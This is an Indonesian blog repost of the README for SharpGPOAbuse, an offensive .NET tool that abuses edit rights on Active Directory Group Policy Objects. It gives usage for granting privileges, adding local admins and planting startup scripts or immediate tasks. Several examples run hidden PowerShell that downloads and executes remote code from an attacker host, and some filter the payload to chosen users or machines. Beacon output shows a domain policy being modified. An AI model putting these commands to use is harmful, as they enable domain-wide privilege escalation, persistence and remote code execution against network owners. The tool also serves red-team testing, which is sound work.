SharpGPOAbuse - Hack HAKI

 Kang Asu

SharpGPOAbuse - Alat untuk Memanfaatkan Hak Edit Pengguna Pada Objek Kebijakan Grup (GPO) Untuk Mengkompromikan Objek Yang Dikendalikan Oleh GPO Itu

SharpGPOAbuse adalah aplikasi .NET yang ditulis dalam C # yang dapat digunakan untuk memanfaatkan hak edit pengguna pada Objek Kebijakan Grup (GPO) untuk mengkompromikan objek yang dikontrol oleh GPO tersebut.

Detail lebih lanjut dapat ditemukan di posting blog berikut: https://labs.mwrinfosecurity.com/tools/sharpgpoabuse

Kompilasi Instruksi

Pastikan paket NuGet yang diperlukan diinstal dengan benar dan cukup buat proyek di Visual Studio.

Pemakaian

Usage:
        SharpGPOAbuse.exe <AttackType> <AttackOptions>

Opsi Serangan

Menambahkan Hak Pengguna

Options required to add new user rights:
--UserRights
        Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
        Set the account to add the new rights.
--GPOName
        The name of the vulnerable GPO.
        
Example:
        SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

Menambahkan Admin Lokal

Options required to add a new local admin:
--UserAccount
        Set the name of the account to be added in local admins.
--GPOName
        The name of the vulnerable GPO.

Example:
        SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

Mengonfigurasi Skrip Logon Pengguna atau Komputer

Options required to add a new user or computer startup script:
--ScriptName
        Set the name of the new startup script.
--ScriptContents
        Set the contents of the new startup script.
--GPOName
        The name of the vulnerable GPO.

Example: 
        SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Jika Anda ingin menjalankan skrip berbahaya hanya pada pengguna atau komputer tertentu yang dikendalikan oleh GPO yang rentan, Anda dapat menambahkan pernyataan if dalam skrip berbahaya:

SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Mengonfigurasi Komputer atau Tugas Langsung Pengguna

Options required to add a new computer or user immediate task:

--TaskName
        Set the name of the new computer task.
--Author
        Set the author of the new task (use a DA account).
--Command
        Command to execute.
--Arguments
        Arguments passed to the command.
--GPOName
        The name of the vulnerable GPO.

Additional User Task Options:
--FilterEnabled
        Enable Target Filtering for user immediate tasks.
--TargetUsername
        The user to target. The malicious task will run only on the specified user. Should be in the format <DOMAIN>\<USERNAME>
--TargetUserSID
        The targeted user's SID.

Additional Computer Task Options:
--FilterEnabled
        Enable Target Filtering for computer immediate tasks.
--TargetDnsName
        The DNS name of the computer to target. The malicious task will run only on the specified host.
           
Example: 
        SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Jika Anda ingin menjalankan tugas berbahaya hanya pada pengguna atau komputer tertentu yang dikendalikan oleh GPO yang rentan, Anda dapat menggunakan sesuatu yang mirip dengan berikut ini:

SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com

Opsi Tambahan

Pilihan	Deskripsi
--DomainController	Tetapkan pengontrol domain target
--Domain	Tetapkan domain target
--Memaksa	Timpa file yang ada jika perlu

Contoh Keluaran

beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {87   7CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!

Unduh SharpGPOAbuse

Regards

Kang Asu